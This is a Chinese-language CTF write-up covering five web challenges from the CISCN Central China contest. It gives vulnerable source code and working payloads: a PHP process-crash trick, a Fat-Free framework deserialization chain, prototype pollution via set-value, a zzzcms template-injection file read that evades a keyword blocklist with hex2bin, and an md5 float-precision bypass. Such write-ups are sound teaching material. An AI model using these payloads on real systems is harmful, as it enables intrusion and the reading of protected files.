0%

[CISCN华中赛区 web]

0x00 Perface

​ 这次比赛再次让我意识到了自己很菜,队友疯狂c,呜呜呜,希望下次可以多做几道题目。

0x01 web1-easyphp

​ 题目一上来就给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){ //父进程
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{ //子进程
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}

​ 经过分析之后我们可以知道,这题目是让我们使用call_user_func_array这个函数来执行一个可以停止当前进程的函数,但是和进程有关的pcntl全都被过滤了。并且,我们几乎所有的进程函数都是没有三个参数的。场面陷入的僵局。。

​ 然后我在FUZZ的时候,偶然发现了call_user_func这个函数是可以支持三个参数的。突发奇想,我们是不是可以把参数缩短到2位。(因为 $_GET['b'] 使我们可以控制的 且 $_GET['b']没有任何过滤,我们可以输入b=pcntl_waitpid)。这样我们的payload也就完成了。

1
?a=call_user_func&b=pcntl_waitpid

​ 打出phpinfo。直接搜索flag就可以了。

注一:之后发现pcntl_wait等让进程停止的函数都可以使用。

注二: 如果你还是在想asserteval等语言结构,那只能说推荐你看一下我之前写的php测试assert和eval了。

0x02 web2-babyunserialize

​ 同样给了源码。在根目录下的www.zip中。是一个框架的源码,打过近些天比赛的话可以发现,这其实是WMCTF2020 webweb的题目。不过之前的payload无法直接打通。网上随便找了条链通了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace DB\SQL{
class Mapper
{
protected $props=[];
protected $adhoc=[];
protected $db;

public function __construct()
{
$this->db = $this;
$this->adhoc=[ -1 =>["cioi"=>"cioi"]];
$this->props = ['quotekey' => "phpinfo"];
}
}
}

namespace CLI{
use DB\SQL\Mapper;
class Agent
{
protected $server;

public function __construct()
{
$this->server = $this;
$this->events = ["disconnect"=>[new Mapper(),'find']];
}
}
class WS{


public function __construct()
{
$this->cioi = new Agent();
}
}
echo urlencode(serialize(new WS()));
}

​ 找的是http://phoebe233.cn/?p=56#Webweb大佬的payload。感谢大佬。

payload就是上面的那样了。但是这里我想啰嗦一下,说一下在审计框架时的东西。

​ 首先,一位师傅问我为什么没有文件包含,但是我们却还是可以利用所有的类进行构造反序列化链。为了搞清楚框架的__autoload机制,我特地去问了学开发的叶局长(叶局tql!)。

1
php在实例化一个类的时候,如果找不到会自动调用 autoload 方法。我们在实例化一个 Student 类的时候,没有找到 Student ,就会把这个名字当做字符串传入。这也是为什么我们无法直接反序列化 Agent ,而要先创建 WS 的实例。因为没有 cli/Agent.php 只有 cli/WS.php 。从而成功包含 ws.php 。

​ 另一个知识点是phpinfo(-1)是显示所有的phpinfo信息。这个可以在官方文档中找到。

​ 最后再讲一个人尽皆知的知识吧。几乎所有反序列化的入口点都是__destruct__wakeup。所以审计框架的时候,我们最好先全局搜索这几个魔术方法。

img

0x03 web3-littlegame

​ 题目全都给了源码。这里只贴一下关键代码:

app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var express = require('express');
var path = require('path');
var logger = require('morgan');
const Session = require('express-session');
var indexRouter = require('./routes/index');

var app = express();

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({extended: false}));
app.use(express.static(path.join(__dirname, 'public')));

app.use(Session({
name:"session",
secret:process.env.secret,
saveUninitialized:true,
resave:false,
}));
app.use('/', indexRouter);

module.exports = app;

index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const COMMODITY = {
"sword": {"Gold": "20", "Firepower": "50"},
// Times have changed
"gun": {"Gold": "100", "Firepower": "200"}
}
const MOBS = {
"Lv1": {"Firepower": "1", "Bounty": "1"},
"Lv2": {"Firepower": "5", "Bounty": "10"},
"Lv3": {"Firepower": "10", "Bounty": "15"},
"Lv4": {"Firepower": "20", "Bounty": "30"},
"Lv5": {"Firepower": "50", "Bounty": "65"},
"Lv6": {"Firepower": "80", "Bounty": "100"}
}
const BOSS = {
// Times have not changed
"Firepower": "201"
}
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}
router.post('/BuyWeapon', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/EarnBounty', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/ChallengeBOSS', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}

});
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value); // key value 可以控制
res.send("Let's have a check!");
}
}
});

module.exports = router;

​ 观察代码的业务逻辑可以知道,我们只要使用正确的密码登录就完事了,但是因为我们不知道密码,所以我们要自己添加密码,基本上一眼就可以看出是 原型链污染。关键是从哪里做,怎么做?

​ 注意到setFn这个奇怪的函数。发现这个函数是const setFn = require('set-value');。查看文档发现我们可以利用它来原型链污染。走下流程。

1.先去/SpawnPoint设置一下 session.knight

2.然后去/Privilege传输 {"NewAttributeKey":"__proto__.cioi","NewAttributeValue":"cioi"}

image-20200821151622849

3.最后去/DeveloperControlPanel传 {"key":"cioi","password":"cioi"}

image-20200821151851516

0x04 web4-rceme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php 
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}

if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}

​ 这题目其实难度不低的,不知道为什么那么多的解。首先这是个zzzcms的一个CVE的二次加工。本来我们可以使用{if:var_dump(((strrev(stnetnoc_teg_elif)))((strrev(edoced_46esab))(Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}

PS: 为什么可以这么写,可以查看 zzzcms的官方文档

​ 但是我们这里的str被过滤了。那么我们就尝试一下别的编码呗。。发现hex2bin没有被过滤。测了一下,打穿了。。

1
?a={if:var_dump(((hex2bin(%2766696C655F6765745F636F6E74656E7473%27)))(%27../../../../../flag%27))}{end%20if}

image-20200821152824215

0x05 web5-easytrick

​ 这题被队友打穿了。队友太强了。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

​ 要求不说了。。其实就是一个php的精度问题。我们可以使用的解有:

解法一:

1
2
3
4
5
6
7
8
9
10
11
<?php 
class trick{
public $trick1 = 0.01;
public $trick2 = 0.1*0.1;

}
$a = new trick();
echo urlencode(serialize($a));


//O:5:"trick":2:{s:6:"trick1";d:0.01;s:6:"trick2";d:0.010000000000000002;}

解法二:

1
2
3
4
5
6
7
8
9
10
<?php 
class trick{
public $trick1 = 1;
public $trick2 = 0.9999999999999999; //这里的 9 的个数是固定的

}
$a = new trick();
echo serialize($a);

//O:5:"trick":2:{s:6:"trick1";i:1;s:6:"trick2";d:0.99999999999999989;}

0x06 Conclusion

​ 我是废物,队友乱C。